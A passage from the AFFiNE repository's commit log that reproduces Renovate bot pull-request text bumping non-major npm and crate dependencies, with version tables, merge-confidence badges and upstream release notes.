| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.9` -> `2.4.10`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.12` -> `1.2.13`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.10`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/%40nestjs-cls/transactional%402.4.10)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.9...@nestjs-cls/transactional@2.4.10)

##### Dependencies

-   allow nestjs 10 as peer dependency ([b7057cb](https://redirect.github.com/Papooch/nestjs-cls/commits/b7057cb))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 13:41:16 +00:00
renovate
08ecc54d67 chore: bump up all non-major dependencies (#10004)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.743.0` -> `3.744.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.1.6` -> `7.2.15`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.1.6/7.2.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.1.6/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.1.6/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | [`9.19.0` -> `9.20.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.19.0/9.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@eslint%2fjs/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@eslint%2fjs/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@eslint%2fjs/9.19.0/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@eslint%2fjs/9.19.0/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.14` -> `1.10.15`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.14/1.10.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.14/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.14/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@vitejs/plugin-react-swc](https://redirect.github.com/vitejs/vite-plugin-react-swc) | [`3.7.2` -> `3.8.0`](https://renovatebot.com/diffs/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitejs%2fplugin-react-swc/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitejs%2fplugin-react-swc/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.0` -> `17.0.2`](https://renovatebot.com/diffs/npm/happy-dom/17.0.0/17.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.0/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.0/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [ioredis](https://redirect.github.com/luin/ioredis) | [`5.4.2` -> `5.5.0`](https://renovatebot.com/diffs/npm/ioredis/5.4.2/5.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/ioredis/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ioredis/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ioredis/5.4.2/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ioredis/5.4.2/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [link-preview-js](https://redirect.github.com/ospfranco/link-preview-js) | [`3.0.13` -> `3.0.14`](https://renovatebot.com/diffs/npm/link-preview-js/3.0.13/3.0.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/link-preview-js/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/link-preview-js/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/link-preview-js/3.0.13/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/link-preview-js/3.0.13/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.474.0` -> `^0.475.0`](https://renovatebot.com/diffs/npm/lucide-react/0.474.0/0.475.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.6` -> `15.0.7`](https://renovatebot.com/diffs/npm/marked/15.0.6/15.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.0.1` -> `5.1.2`](https://renovatebot.com/diffs/npm/nestjs-cls/5.0.1/5.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.0.1/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.0.1/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.2` -> `3.5.0`](https://renovatebot.com/diffs/npm/prettier/3.4.2/3.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.2` -> `3.5.0`](https://renovatebot.com/diffs/npm/prettier/3.4.2/3.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-virtuoso](https://virtuoso.dev/) ([source](https://redirect.github.com/petyosi/react-virtuoso)) | [`4.12.3` -> `4.12.5`](https://renovatebot.com/diffs/npm/react-virtuoso/4.12.3/4.12.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-virtuoso/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-virtuoso/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-virtuoso/4.12.3/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-virtuoso/4.12.3/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.6` -> `0.27.7`](https://renovatebot.com/diffs/npm/typedoc/0.27.6/0.27.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.6/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.6/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.744.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37440-2025-02-07)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.743.0...v3.744.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.15`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7215-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.14...7.2.15)

### [`v7.2.14`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.13...7.2.14)

### [`v7.2.13`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7213-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.9...7.2.13)

### [`v7.2.9`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#729-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.8...7.2.9)

### [`v7.2.8`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#728-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.7...7.2.8)

### [`v7.2.7`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#727-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.6...7.2.7)

### [`v7.2.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#726-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.5...7.2.6)

### [`v7.2.5`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#725-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.4...7.2.5)

### [`v7.2.4`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#724-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.3...7.2.4)

### [`v7.2.3`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#723-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.2...7.2.3)

### [`v7.2.2`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#722-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.1...7.2.2)

### [`v7.2.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.0...7.2.1)

### [`v7.2.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#720-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.6...7.2.0)

##### Features

-   add ability to close webview from javascript on ios ([5034997](50349975e5))
-   add close function to unified javascript interface ([c3d9079](c3d9079cab))
-   close webview with window.AndroidInterface.close() from within ([c5eae97](c5eae97a6a))

##### Bug Fixes

-   add better doc for 2 way com ([171ea27](171ea27931))
-   add warning ([84470ae](84470ae1c3))
-   allow inline video ([1368f2a](1368f2a4f0))
-   better definition ([588cc88](588cc88438))
-   CICD ([ee7ef04](ee7ef0430a))
-   order of doc ([71d8923](71d8923996))
-   versions ([941aabe](941aabee33))

##### [7.1.6](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.5...7.1.6) (2025-02-02)

##### Bug Fixes

-   lint ([d3df47c](d3df47cfef))

##### [7.1.5](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.4...7.1.5) (2025-02-01)

##### Bug Fixes

-   build ([89cd832](89cd832f96))

##### [7.1.4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.3...7.1.4) (2025-02-01)

##### Bug Fixes

-   remove READ_MEDIA_IMAGES ([e30874e](e30874ebe1))

##### [7.1.3](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.2...7.1.3) (2025-02-01)

##### Bug Fixes

-   async thread ([df0bb19](df0bb198a6))

##### [7.1.2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.2) (2025-02-01)

##### Bug Fixes

-   Fixed back_arrow being displayed correctly instead of close_icon ([0516043](0516043312))
-   openWebView has stopped hiding the phone's status bar. ([465a035](465a03561f))
-   openWebView has stopped hiding the phone's status bar. ([6154e54](6154e5422c))
-   openWebView has stopped hiding the phone's status bar. ([ec6a9c2](ec6a9c2205))

##### [7.1.1](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.0...7.1.1) (2025-01-27)

</details>

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v9.20.0`](https://redirect.github.com/eslint/eslint/compare/v9.19.0...031734efcb27e0d800da7ec32f5d5dae55f80564)

[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.19.0...v9.20.0)

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.15`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11015---2025-02-08)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.14...v1.10.15)

##### Bug Fixes

-   **(es/fixer)** Wrap object tagged templates ([#&#8203;9991](https://redirect.github.com/swc-project/swc/issues/9991)) ([963c3a5](963c3a58c8))

-   **(es/minifier)** Dont't optimize swtich case before DCE ([#&#8203;9994](https://redirect.github.com/swc-project/swc/issues/9994)) ([afe21b5](afe21b5e71))

-   **(es/minifier)** Revert [#&#8203;10006](https://redirect.github.com/swc-project/swc/issues/10006) ([#&#8203;10007](https://redirect.github.com/swc-project/swc/issues/10007)) ([7e21323](7e21323b3b))

-   **(es/parser, es/codegen)** Handle trailing empty slots in array patterns ([#&#8203;9992](https://redirect.github.com/swc-project/swc/issues/9992)) ([1a87e76](1a87e76e95))

-   **(es/react)** Avoid adding `__self` in constructors of derived class in the `jsx_self` ([#&#8203;9987](https://redirect.github.com/swc-project/swc/issues/9987)) ([83f24af](83f24afad9))

##### Features

-   **(es/ast)** Add `ShrinkToFit` implementation ([#&#8203;10009](https://redirect.github.com/swc-project/swc/issues/10009)) ([6849b6a](6849b6aba7))

-   **(es/helpers)** Update package exports for module-sync and webpack compatibility ([#&#8203;9995](https://redirect.github.com/swc-project/swc/issues/9995)) ([6f4e7ad](6f4e7adce4))

-   **(fast-ts)** Support Uint8Array Input ([#&#8203;9879](https://redirect.github.com/swc-project/swc/issues/9879)) ([61ae579](61ae579a1c))

##### Performance

-   **(es/codegen)** Remove needless allocations ([#&#8203;9978](https://redirect.github.com/swc-project/swc/issues/9978)) ([9c89d57](9c89d57cf9))

-   **(es/minifier)** Do not clone from `take_ident_of_pat_if_unused` ([#&#8203;10005](https://redirect.github.com/swc-project/swc/issues/10005)) ([dc3b46e](dc3b46eff9))

-   **(es/minifier)** Allocate in once from `mark_property_mutation` ([#&#8203;10004](https://redirect.github.com/swc-project/swc/issues/10004)) ([4a90e51](4a90e5197d))

-   **(es/minifier)** Limit infection analysis by the entry size ([#&#8203;10006](https://redirect.github.com/swc-project/swc/issues/10006)) ([1a3a4b9](1a3a4b936c))

-   **(es/minifier)** Make the default pass 2 ([#&#8203;10014](https://redirect.github.com/swc-project/swc/issues/10014)) ([07dc423](07dc423b7f))

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.5`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#405---2025-02-08)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.4...v4.0.5)

##### Added

-   Add `@theme static` option for always including theme variables in compiled CSS ([#&#8203;16211](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16211))

##### Fixed

-   Remove rogue `console.log` from `@tailwindcss/vite` ([#&#8203;16307](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16307))

##### Changed

-   Don't include theme variables that aren't used in compiled CSS ([#&#8203;16211](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16211))

</details>

<details>
<summary>vitejs/vite-plugin-react-swc (@&#8203;vitejs/plugin-react-swc)</summary>

### [`v3.8.0`](https://redirect.github.com/vitejs/vite-plugin-react-swc/blob/HEAD/CHANGELOG.md#380)

